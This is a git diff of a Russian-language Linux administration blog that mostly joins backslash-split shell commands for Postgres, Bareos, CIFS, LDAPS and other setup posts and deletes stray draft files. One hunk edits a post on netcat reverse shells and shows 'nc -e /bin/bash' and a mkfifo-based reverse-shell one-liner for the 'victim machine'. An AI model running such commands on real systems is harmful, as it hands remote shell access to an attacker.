diff --git a/content/posts/ald-pro.md b/content/posts/ald-pro.md index 03f3e66..4c97119 100644 --- a/content/posts/ald-pro.md +++ b/content/posts/ald-pro.md @@ -41,7 +41,7 @@ DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp ## Развёртывание После того, как команда развёртывания отработает и сервер перезагрузитcя, -сервер ALD Pro будет доступен по адресу: https://\.\ +сервер ALD Pro будет доступен по адресу: `https://.` ```shell /opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \ diff --git a/content/posts/bareos-install.md b/content/posts/bareos-install.md index 2a4f3b8..c1b8926 100644 --- a/content/posts/bareos-install.md +++ b/content/posts/bareos-install.md @@ -24,7 +24,7 @@ systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-stora ``` ### Создание пользователя для Bareos-webui и конфига клиента -Веб Bareos'а находится по адресу: [http://\/bareos-webui/](http://localhost/bareos-webui/) +Веб Bareos'а находится по адресу: `http:///bareos-webui/` ```shell bconsole configure add console name= password= profile=webui-admin tlsenable=no @@ -60,8 +60,7 @@ apt install bareos-filedaemon ### Перенос конфига с сервера на клиент ```shell -scp @:/etc/bareos/bareos-dir-export/client\ - //bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/ +scp @:/etc/bareos/bareos-dir-export/client //bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/ ``` ### Включение сервиса diff --git a/content/posts/cifs-automount.md b/content/posts/cifs-automount.md index 238cba7..555fea8 100644 --- a/content/posts/cifs-automount.md +++ b/content/posts/cifs-automount.md @@ -37,6 +37,5 @@ mount -a ## Монтирование ручками (необязательно) ```shell -mount -t cifs //
/ -o \ - username=,password=,domain= +mount -t cifs //
/ -o username=,password=,domain= ``` diff --git a/content/posts/linux-nfs.md.save b/content/posts/linux-nfs.md.save deleted file mode 100644 index 33cd9f1..0000000 --- a/content/posts/linux-nfs.md.save +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Конфигурация NFS-сервера на Linux -description: И его монтирование на клиентах -date: 2022-11-25T85:08:00+05:00 -tags: [vmware] ---- -## Настройка NFS-сервера - -### Установка пакета -```shell -apt install nfs-kernel-server -``` - -### Создание каталога, который будет расшарен -```shell -sudo mkdir /nfs -sudo chmod 777 /nfs -``` - -### Разрешаем сетевой доступ -```shell -/nfs (rw,sync,no_root_squash,no_subtree_check) - -# /etc/exports -``` - -## Настройка NFS-клиента - -### Установка пакета -```shell -apt install nfs-common -``` - -### Запуск службы -``` shell -systemctl enable --now rpcbind -``` - -### Автомонитрование -```shell -:/nfs /nfs nfs defaults 0 0 -``` diff --git a/content/posts/pg-probackup-setup.md.save b/content/posts/pg-probackup-setup.md.save deleted file mode 100644 index 963d303..0000000 --- a/content/posts/pg-probackup-setup.md.save +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: pg_probackup -description: Backup Postgres Pro -date: 2022-12-14T12:04:00+05:00 -tags: [linux, postgres] ---- -## Генерируем ключ -```shell -ssh-keygen -``` - -## Копируем ключ -```shell -ssh-copy-id @ -``` diff --git a/content/posts/pg-probackup-setup.md.save.1 b/content/posts/pg-probackup-setup.md.save.1 deleted file mode 100644 index e06ae88..0000000 --- a/content/posts/pg-probackup-setup.md.save.1 +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: pg_probackup -description: убличного ключа -date: 2022-12-14T12:04:00+05:00 -tags: [linux, ssh] ---- -## Генерируем ключ -```shell -ssh-keygen -``` - -## Копируем ключ -```shell -ssh-copy-id @ -``` diff --git a/content/posts/postgres-ldaps.md b/content/posts/postgres-ldaps.md index df9e698..fd7a9f3 100644 --- a/content/posts/postgres-ldaps.md +++ b/content/posts/postgres-ldaps.md @@ -30,8 +30,7 @@ URI ldaps://..:636 ## Проверка ldap ```shell -ldapsearch -x -b "dc=,dc=" \ - -H ldaps://..:636 -W -D +ldapsearch -x -b "dc=,dc=" -H ldaps://..:636 -W -D ``` ## Правка pg_hba.conf diff --git a/content/posts/postgres-pro-astra-se.md b/content/posts/postgres-pro-astra-se.md index 9eb87f2..175f584 100644 --- a/content/posts/postgres-pro-astra-se.md +++ b/content/posts/postgres-pro-astra-se.md @@ -8,8 +8,7 @@ tags: [linux, astra, postgres] ``` shell apt -y install gnupg wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - -echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \ - > /etc/apt/sources.list.d/pgpro.list +echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" > /etc/apt/sources.list.d/pgpro.list ``` ## Установка пакета ```shell diff --git a/content/posts/postgres-replication.md b/content/posts/postgres-replication.md index b1fe1ae..14e4f80 100644 --- a/content/posts/postgres-replication.md +++ b/content/posts/postgres-replication.md @@ -51,8 +51,7 @@ systemctl restart postgres #### Выгрузка файлов с master ```shell rm -rf /var/lib/pgpro/std-13/data/* -pg_basebackup -P -R -X stream -c fast -h -U postgres -D \ - /var/lib/pgpro/std-13/data +pg_basebackup -P -R -X stream -c fast -h -U postgres -D /var/lib/pgpro/std-13/data ``` ## Репликация с архивом diff --git a/content/posts/reverse-shell-nc.md b/content/posts/reverse-shell-nc.md index 888e4d7..a35eca4 100644 --- a/content/posts/reverse-shell-nc.md +++ b/content/posts/reverse-shell-nc.md @@ -15,6 +15,5 @@ nc -e /bin/bash ## Машина жертвы (OpenBSD Netcat) ```shell -mkfifo /tmp/rev; nc < /tmp/rev \ - | /bin/bash 2>&1 | tee /tmp/rev > /dev/null +mkfifo /tmp/rev; nc < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null ``` diff --git a/content/posts/ruby-packer.md b/content/posts/ruby-packer.md index add6aa2..dead985 100644 --- a/content/posts/ruby-packer.md +++ b/content/posts/ruby-packer.md @@ -17,8 +17,7 @@ tags: [linux, ruby, gcc] ## Установка пакетов для сборки (и не только) ```shell -apt -y install wget unzip gcc make autoconf \ - squashfs-tools libtool bison gnupg +apt -y install wget unzip gcc make autoconf squashfs-tools libtool bison gnupg ``` ## Установка ruby (из пакета) @@ -57,8 +56,7 @@ chmod +x /usr/local/bin/rubyc ## Установка rubyc (stable, 2.4, не рекомендую) ```shell -wget -P /tmp https://gw.alipayobjects.com/os/enclose-prod\ -/1fd23e6b-d48f-4ed0-94dd-f0f539960253/rubyc-v0.4.0-linux-x64.gz +wget -P /tmp https://gw.alipayobjects.com/os/enclose-prod/1fd23e6b-d48f-4ed0-94dd-f0f539960253/rubyc-v0.4.0-linux-x64.gz gzip -d /tmp/rubyc-v0.4.0-linux-x64.gz mv /tmp/rubyc-v0.4.0-linux-x64 /usr/local/bin/rubyc chmod +x /usr/local/bin/rubyc diff --git a/content/posts/selfsigned-to-trusted.md b/content/posts/selfsigned-to-trusted.md index e31c991..839cccc 100644 --- a/content/posts/selfsigned-to-trusted.md +++ b/content/posts/selfsigned-to-trusted.md @@ -6,8 +6,7 @@ tags: [linux, astra, alt, tls] --- ## Получение корневого сертификата ```shell -echo quit | openssl s_client -showcerts \ - -servername -connect :443 > .pem +echo quit | openssl s_client -showcerts -servername -connect :443 > .pem ``` ## Astra Linux